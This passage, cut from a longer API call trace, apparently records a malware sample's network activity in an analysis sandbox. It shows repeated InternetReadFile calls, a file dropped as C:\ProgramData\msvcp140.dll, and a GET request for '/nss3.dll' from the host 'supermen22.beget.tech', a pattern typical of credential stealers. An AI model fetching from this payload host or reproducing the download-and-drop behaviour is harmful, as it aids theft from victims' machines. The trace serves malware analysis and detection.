lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.348] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25ffde8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25ffde8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.349] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26001d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26001d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.349] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26005b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26005b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.349] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26009a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26009a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.353] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2600d88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2600d88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.360] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601170, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601170*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.360] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601558, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601558*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.360] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601940, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601940*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2601d28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2601d28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2602110, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2602110*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26024f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26024f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26028e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26028e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.361] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2602cc8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2602cc8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26030b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26030b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2603498, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2603498*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2603880, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2603880*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.362] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2603c68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2603c68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604050, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604050*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604438, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604438*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604820, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604820*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.363] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604c08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604c08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2604ff0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2604ff0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26053d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26053d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26057c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26057c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2605ba8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2605ba8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2605f90, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2605f90*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.364] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606378, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606378*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606760, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606760*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606b48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606b48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2606f30, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2606f30*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607318, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607318*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607700, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607700*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.365] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607ae8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607ae8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2607ed0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2607ed0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26082b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26082b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x26086a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x26086a0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2608a88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2608a88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.366] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2608e70, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2608e70*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609258, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609258*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609640, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609640*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609a28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609a28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x2609e10, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x2609e10*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.367] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a1f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a1f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a5e0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a5e0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260a9c8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260a9c8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260adb0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260adb0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b198, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b198*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b580, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b580*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260b968, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260b968*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.368] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260bd50, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260bd50*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.369] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c138, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c138*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.369] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c520, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c520*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.369] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x260c908, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x260c908*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.541] HttpQueryInfoA (in: hRequest=0xcc000c, dwInfoLevel=0x1d, lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0 | out: lpBuffer=0x19f690, lpdwBufferLength=0x19f634, lpdwIndex=0x0) returned 0 [0045.541] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0045.542] InternetCloseHandle (hInternet=0xcc0008) returned 1 [0045.542] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0045.542] CreateFileA (lpFileName="C:\\ProgramData\\\\msvcp140.dll" (normalized: "c:\\programdata\\msvcp140.dll"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x270 [0045.542] WriteFile (in: hFile=0x270, lpBuffer=0x25d0048*, nNumberOfBytesToWrite=0x6b738, lpNumberOfBytesWritten=0x19f824, lpOverlapped=0x0 | out: lpBuffer=0x25d0048*, lpNumberOfBytesWritten=0x19f824*=0x6b738, lpOverlapped=0x0) returned 1 [0045.556] CloseHandle (hObject=0x270) returned 1 [0045.576] LocalAlloc (uFlags=0x40, uBytes=0x16) returned 0x57d0a0 [0045.576] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] lstrlenA (lpString="NXOZMFtYLrPVTjgBrvkYh") returned 21 [0045.577] GetLastError () returned 0x0 [0045.577] SetLastError (dwErrCode=0x0) [0045.577] InternetOpenA (lpszAgent="", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0045.577] InternetSetOptionA (hInternet=0xcc0004, dwOption=0x41, lpBuffer=0x19f7b8, dwBufferLength=0x4) returned 1 [0045.577] InternetConnectA (hInternet=0xcc0004, lpszServerName="supermen22.beget.tech", nServerPort=0x50, lpszUserName=0x0, lpszPassword=0x0, dwService=0x3, dwFlags=0x0, dwContext=0x1) returned 0xcc0008 [0045.577] HttpOpenRequestA (hConnect=0xcc0008, lpszVerb="GET", lpszObjectName="/nss3.dll", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x400000, dwContext=0x1) returned 0xcc000c [0045.578] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", dwHeadersLength=0x7d, dwModifiers=0x20000000) returned 1 [0045.578] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Language: ru-RU,ru;q=0.9,en;q=0.8", dwHeadersLength=0x28, dwModifiers=0x20000000) returned 1 [0045.578] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1", dwHeadersLength=0x32, dwModifiers=0x20000000) returned 1 [0045.578] HttpAddRequestHeadersA (hRequest=0xcc000c, lpszHeaders="Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0", dwHeadersLength=0x37, dwModifiers=0x20000000) returned 1 [0045.578] HttpSendRequestA (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0045.631] InternetSetFilePointer (in: hFile=0xcc000c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0, dwContext=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0045.631] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0048, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0048*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0430, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0430*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0818, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0818*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0c00, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0c00*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.632] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d0fe8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d0fe8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d13d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d13d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d17b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d17b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d1ba0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d1ba0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d1f88, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d1f88*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.633] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2370, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2370*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2758, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2758*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2b40, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2b40*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d2f28, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d2f28*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3310, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3310*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d36f8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d36f8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.634] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3ae0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3ae0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d3ec8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d3ec8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d42b0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d42b0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4698, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4698*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4a80, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4a80*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.635] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d4e68, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d4e68*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5250, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5250*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5638, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5638*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5a20, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5a20*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.636] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d5e08, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d5e08*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d61f0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d61f0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d65d8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d65d8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d69c0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d69c0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.637] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d6da8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d6da8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7190, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7190*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7578, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7578*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7960, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7960*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d7d48, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d7d48*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8130, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8130*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.638] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8518, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8518*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.639] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8900, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8900*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.639] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d8ce8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d8ce8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.639] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d90d0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d90d0*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.639] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d94b8, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 | out: lpBuffer=0x25d94b8*, lpdwNumberOfBytesRead=0x19f634*=0x3e8) returned 1 [0045.639] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x25d98a0, dwNumberOfBytesToRead=0x3e8, lpdwNumberOfBytesRead=0x19f634 